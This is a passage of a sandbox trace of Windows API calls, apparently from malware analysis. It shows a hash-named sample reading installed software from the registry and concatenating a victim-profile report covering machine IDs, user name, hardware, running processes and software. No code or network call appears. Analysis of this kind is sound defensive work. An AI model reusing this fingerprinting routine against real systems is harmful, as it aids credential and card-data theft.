[756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\n"
[0054.958] RegCloseKey (hKey=0x514) returned 0x0
[0054.958] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x1f, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0015-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.958] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0015-0409-0000-0000000FF1CE}") returned 90
[0054.958] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0015-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.958] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Access MUI (English) 2016", lpcbData=0x1816c0*=0x24) returned 0x0
[0054.959] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\n", lpString2="Microsoft Access MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016"
[0054.959] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.959] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: 